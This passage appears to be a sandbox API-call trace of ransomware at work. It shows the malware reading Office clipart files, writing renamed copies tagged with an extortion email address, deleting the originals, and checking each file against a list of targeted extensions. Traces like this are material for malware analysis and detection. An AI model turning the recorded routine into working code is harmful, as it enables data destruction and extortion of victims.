lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x109c [0297.719] SetFilePointerEx (in: hFile=0x109c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cffec0 | out: lpNewFilePointer=0x0) returned 1 [0297.719] SetFilePointerEx (in: hFile=0x109c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cffec0 | out: lpNewFilePointer=0x0) returned 1 [0297.719] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00306_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c0 [0297.719] GetLastError () returned 0x0 [0297.719] ReadFile (in: hFile=0x109c, lpBuffer=0x38eb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cffecc, lpOverlapped=0x0 | out: lpBuffer=0x38eb020*, lpNumberOfBytesRead=0x2cffecc*=0xb6de, lpOverlapped=0x0) returned 1 [0297.825] WriteFile (in: hFile=0x10c0, lpBuffer=0x38eb020*, nNumberOfBytesToWrite=0xb6e0, lpNumberOfBytesWritten=0x2cffc94, lpOverlapped=0x0 | out: lpBuffer=0x38eb020*, lpNumberOfBytesWritten=0x2cffc94*=0xb6e0, lpOverlapped=0x0) returned 1 [0297.826] ReadFile (in: hFile=0x109c, lpBuffer=0x38eb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cffecc, lpOverlapped=0x0 | out: lpBuffer=0x38eb020*, lpNumberOfBytesRead=0x2cffecc*=0x0, lpOverlapped=0x0) returned 1 [0297.826] WriteFile (in: hFile=0x10c0, lpBuffer=0x38eb020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2cffc94, lpOverlapped=0x0 | out: lpBuffer=0x38eb020*, lpNumberOfBytesWritten=0x2cffc94*=0xec, lpOverlapped=0x0) returned 1 [0297.826] SetEndOfFile (hFile=0x10c0) returned 1 [0297.830] CloseHandle (hObject=0x10c0) returned 1 [0297.834] SetFilePointerEx (in: hFile=0x109c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cffec0 | out: lpNewFilePointer=0x0) returned 1 [0297.834] SetEndOfFile (hFile=0x109c) returned 1 [0297.835] CloseHandle (hObject=0x109c) returned 1 [0297.835] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0297.835] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00306_.wmf")) returned 1 [0297.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 68 [0297.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 68 [0297.836] lstrlenW (lpString=".doc") returned 4 [0297.837] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0297.837] lstrlenW (lpString=".docx") returned 5 [0297.837] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0297.837] lstrlenW (lpString=".pdf") returned 4 [0297.837] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0297.837] lstrlenW (lpString=".xls") returned 4 [0297.837] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0297.837] lstrlenW (lpString=".xlsx") returned 5 [0297.837] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0297.837] lstrlenW (lpString=".ppt") returned 4 [0297.837] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0297.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 68 [0297.837] lstrlenW (lpString=".zip") returned 4 [0297.837] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0297.837] lstrlenW (lpString=".rar") returned 4 [0297.837] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0297.837] lstrlenW (lpString=".bz2") returned 4 [0297.837] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0297.837] lstrlenW (lpString=".7z") returned 3 [0297.837] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0297.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 68 [0297.837] lstrlenW (lpString=".dbf") returned 4 [0297.837] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0297.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 68 [0297.837] lstrlenW (lpString=".1cd") returned 4 [0297.837] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0297.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 68 [0297.837] lstrlenW (lpString=".jpg") returned 4 [0297.837] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0297.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 68 [0297.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 68 [0297.837] lstrlenW (lpString=".doc") returned 4 [0297.837] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0297.838] lstrlenW (lpString=".docx") returned 5 [0297.838] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0297.838] lstrlenW (lpString=".pdf") returned 4 [0297.838] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0297.838] lstrlenW (lpString=".xls") returned 4 [0297.838] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0297.838] lstrlenW (lpString=".xlsx") returned 5 [0297.838] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0297.838] lstrlenW (lpString=".ppt") returned 4 [0297.838] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0297.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 68 [0297.838] lstrlenW (lpString=".zip") returned 4 [0297.838] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0297.838] lstrlenW (lpString=".rar") returned 4 [0297.838] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0297.838] lstrlenW (lpString=".bz2") returned 4 [0297.838] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0297.838] lstrlenW (lpString=".7z") returned 3 [0297.838] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0297.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 68 [0297.838] lstrlenW (lpString=".dbf") returned 4 [0297.838] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0297.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 68 [0297.838] lstrlenW (lpString=".1cd") returned 4 [0297.838] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0297.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 68 [0297.838] lstrlenW (lpString=".jpg") returned 4 [0297.838] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0297.839] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0297.839] lstrlenW (lpString="FD00403_.WMF") returned 12 [0297.839] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00403_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10bc [0297.844] GetFileSizeEx (in: hFile=0x10bc, lpFileSize=0x2cfff14 | out: lpFileSize=0x2cfff14*=7878) returned 1 [0297.844] CloseHandle (hObject=0x10bc) returned 1 [0297.844] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00403_.wmf")) returned 0x220 [0297.844] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00403_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0297.844] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00403_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10bc [0297.844] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cffec0 | out: lpNewFilePointer=0x0) returned 1 [0297.844] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cffec0 | out: lpNewFilePointer=0x0) returned 1 [0297.844] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00403_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10dc [0297.845] GetLastError () returned 0x0 [0297.845] ReadFile (in: hFile=0x10bc, lpBuffer=0x38eb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cffecc, lpOverlapped=0x0 | out: lpBuffer=0x38eb020*, lpNumberOfBytesRead=0x2cffecc*=0x1ec6, lpOverlapped=0x0) returned 1 [0297.916] WriteFile (in: hFile=0x10dc, lpBuffer=0x38eb020*, nNumberOfBytesToWrite=0x1ed0, lpNumberOfBytesWritten=0x2cffc94, lpOverlapped=0x0 | out: lpBuffer=0x38eb020*, lpNumberOfBytesWritten=0x2cffc94*=0x1ed0, lpOverlapped=0x0) returned 1 [0297.917] ReadFile (in: hFile=0x10bc, lpBuffer=0x38eb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cffecc, lpOverlapped=0x0 | out: lpBuffer=0x38eb020*, lpNumberOfBytesRead=0x2cffecc*=0x0, lpOverlapped=0x0) returned 1 [0297.917] WriteFile (in: hFile=0x10dc, lpBuffer=0x38eb020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2cffc94, lpOverlapped=0x0 | out: lpBuffer=0x38eb020*, lpNumberOfBytesWritten=0x2cffc94*=0xec, lpOverlapped=0x0) returned 1 [0297.917] SetEndOfFile (hFile=0x10dc) returned 1 [0297.917] CloseHandle (hObject=0x10dc) returned 1 [0297.917] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cffec0 | out: lpNewFilePointer=0x0) returned 1 [0297.918] SetEndOfFile (hFile=0x10bc) returned 1 [0297.918] CloseHandle (hObject=0x10bc) returned 1 [0297.918] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0297.918] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00403_.wmf")) returned 1 [0297.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 68 [0297.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 68 [0297.919] lstrlenW (lpString=".doc") returned 4 [0297.919] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0297.919] lstrlenW (lpString=".docx") returned 5 [0297.919] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0297.919] lstrlenW (lpString=".pdf") returned 4 [0297.919] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0297.919] lstrlenW (lpString=".xls") returned 4 [0297.919] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0297.919] lstrlenW (lpString=".xlsx") returned 5 [0297.919] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0297.919] lstrlenW (lpString=".ppt") returned 4 [0297.919] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0297.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 68 [0297.919] lstrlenW (lpString=".zip") returned 4 [0297.919] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0297.919] lstrlenW (lpString=".rar") returned 4 [0297.919] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0297.919] lstrlenW (lpString=".bz2") returned 4 [0297.919] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0297.919] lstrlenW (lpString=".7z") returned 3 [0297.919] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0297.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 68 [0297.919] lstrlenW (lpString=".dbf") returned 4 [0297.919] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0297.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 68 [0297.919] lstrlenW (lpString=".1cd") returned 4 [0297.919] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0297.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 68 [0297.919] lstrlenW (lpString=".jpg") returned 4 [0297.919] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0297.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 68 [0297.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 68 [0297.920] lstrlenW (lpString=".doc") returned 4 [0297.920] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0297.920] lstrlenW (lpString=".docx") returned 5 [0297.920] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0297.920] lstrlenW (lpString=".pdf") returned 4 [0297.920] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0297.920] lstrlenW (lpString=".xls") returned 4 [0297.920] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0297.920] lstrlenW (lpString=".xlsx") returned 5 [0297.920] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0297.920] lstrlenW (lpString=".ppt") returned 4 [0297.920] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0297.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 68 [0297.920] lstrlenW (lpString=".zip") returned 4 [0297.920] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0297.920] lstrlenW (lpString=".rar") returned 4 [0297.920] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0297.920] lstrlenW (lpString=".bz2") returned 4 [0297.920] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0297.920] lstrlenW (lpString=".7z") returned 3 [0297.920] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0297.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 68 [0297.920] lstrlenW (lpString=".dbf") returned 4 [0297.920] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0297.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 68 [0297.920] lstrlenW (lpString=".1cd") returned 4 [0297.920] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0297.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 68 [0297.920] lstrlenW (lpString=".jpg") returned 4 [0297.920] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0297.921] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0297.921] lstrlenW (lpString="FD00419_.WMF") returned 12 [0297.921] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00419_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10bc [0297.921] GetFileSizeEx (in: hFile=0x10bc, lpFileSize=0x2cfff14 | out: lpFileSize=0x2cfff14*=16396) returned 1 [0297.921] CloseHandle (hObject=0x10bc) returned 1 [0297.921] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00419_.wmf")) returned 0x220 [0297.921] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00419_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0297.921] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00419_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10bc [0297.921] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cffec0 | out: lpNewFilePointer=0x0) returned 1 [0297.921] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cffec0 | out: lpNewFilePointer=0x0) returned 1 [0297.921] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00419_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10dc [0297.922] GetLastError () returned 0x0 [0297.922] ReadFile (in: hFile=0x10bc, lpBuffer=0x38eb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cffecc, lpOverlapped=0x0 | out: lpBuffer=0x38eb020*, lpNumberOfBytesRead=0x2cffecc*=0x400c, lpOverlapped=0x0) returned 1 [0298.046] WriteFile (in: hFile=0x10dc, lpBuffer=0x38eb020*, nNumberOfBytesToWrite=0x4010, lpNumberOfBytesWritten=0x2cffc94, lpOverlapped=0x0 | out: lpBuffer=0x38eb020*, lpNumberOfBytesWritten=0x2cffc94*=0x4010, lpOverlapped=0x0) returned 1 [0298.047] ReadFile (in: hFile=0x10bc, lpBuffer=0x38eb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cffecc, lpOverlapped=0x0 | out: lpBuffer=0x38eb020*, lpNumberOfBytesRead=0x2cffecc*=0x0, lpOverlapped=0x0) returned 1 [0298.047] WriteFile (in: hFile=0x10dc, lpBuffer=0x38eb020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2cffc94, lpOverlapped=0x0 | out: lpBuffer=0x38eb020*, lpNumberOfBytesWritten=0x2cffc94*=0xec, lpOverlapped=0x0) returned 1 [0298.047] SetEndOfFile (hFile=0x10dc) returned 1 [0298.047] CloseHandle (hObject=0x10dc) returned 1 [0298.047] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cffec0 | out: lpNewFilePointer=0x0) returned 1 [0298.048] SetEndOfFile (hFile=0x10bc) returned 1 [0298.048] CloseHandle (hObject=0x10bc) returned 1 [0298.048] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0298.048] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00419_.wmf")) returned 1 [0298.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 68 [0298.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 68 [0298.049] lstrlenW (lpString=".doc") returned 4 [0298.049] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0298.049] lstrlenW (lpString=".docx") returned 5 [0298.049] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0298.049] lstrlenW (lpString=".pdf") returned 4 [0298.049] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0298.049] lstrlenW (lpString=".xls") returned 4 [0298.049] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0298.049] lstrlenW (lpString=".xlsx") returned 5 [0298.049] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0298.049] lstrlenW (lpString=".ppt") returned 4 [0298.049] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0298.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 68 [0298.049] lstrlenW (lpString=".zip") returned 4 [0298.049] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0298.049] lstrlenW (lpString=".rar") returned 4 [0298.049] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0298.049] lstrlenW (lpString=".bz2") returned 4 [0298.049] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0298.049] lstrlenW (lpString=".7z") returned 3 [0298.049] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0298.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 68 [0298.049] lstrlenW (lpString=".dbf") returned 4 [0298.049] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0298.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 68 [0298.049] lstrlenW (lpString=".1cd") returned 4 [0298.049] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0298.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 68 [0298.050] lstrlenW (lpString=".jpg") returned 4 [0298.050] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0298.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 68 [0298.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 68 [0298.050] lstrlenW (lpString=".doc") returned 4 [0298.050] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0298.050] lstrlenW (lpString=".docx") returned 5 [0298.050] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0298.050] lstrlenW (lpString=".pdf") returned 4 [0298.050] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0298.050] lstrlenW (lpString=".xls") returned 4 [0298.050] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0298.050] lstrlenW (lpString=".xlsx") returned 5 [0298.050] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0298.050] lstrlenW (lpString=".ppt") returned 4 [0298.050] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0298.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 68 [0298.050] lstrlenW (lpString=".zip") returned 4 [0298.050] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0298.050] lstrlenW (lpString=".rar") returned 4 [0298.050] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0298.050] lstrlenW (lpString=".bz2") returned 4 [0298.050] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0298.050] lstrlenW (lpString=".7z") returned 3 [0298.050] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0298.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 68 [0298.050] lstrlenW (lpString=".dbf") returned 4 [0298.050] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0298.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 68 [0298.050] lstrlenW (lpString=".1cd") returned 4 [0298.051] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0298.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 68 [0298.051] lstrlenW (lpString=".jpg") returned 4 [0298.051] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0298.051] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0298.051] lstrlenW (lpString="FD00586_.WMF") returned 12 [0298.051] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00586_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10bc [0298.051] GetFileSizeEx (in: hFile=0x10bc, lpFileSize=0x2cfff14 | out: lpFileSize=0x2cfff14*=752) returned 1 [0298.051] CloseHandle (hObject=0x10bc) returned 1 [0298.051] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00586_.wmf")) returned 0x220 [0298.051] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00586_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0298.052] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00586_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10bc [0298.052] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cffec0 | out: lpNewFilePointer=0x0) returned 1 [0298.052] SetFilePointerEx (in: hFile=0x10bc, 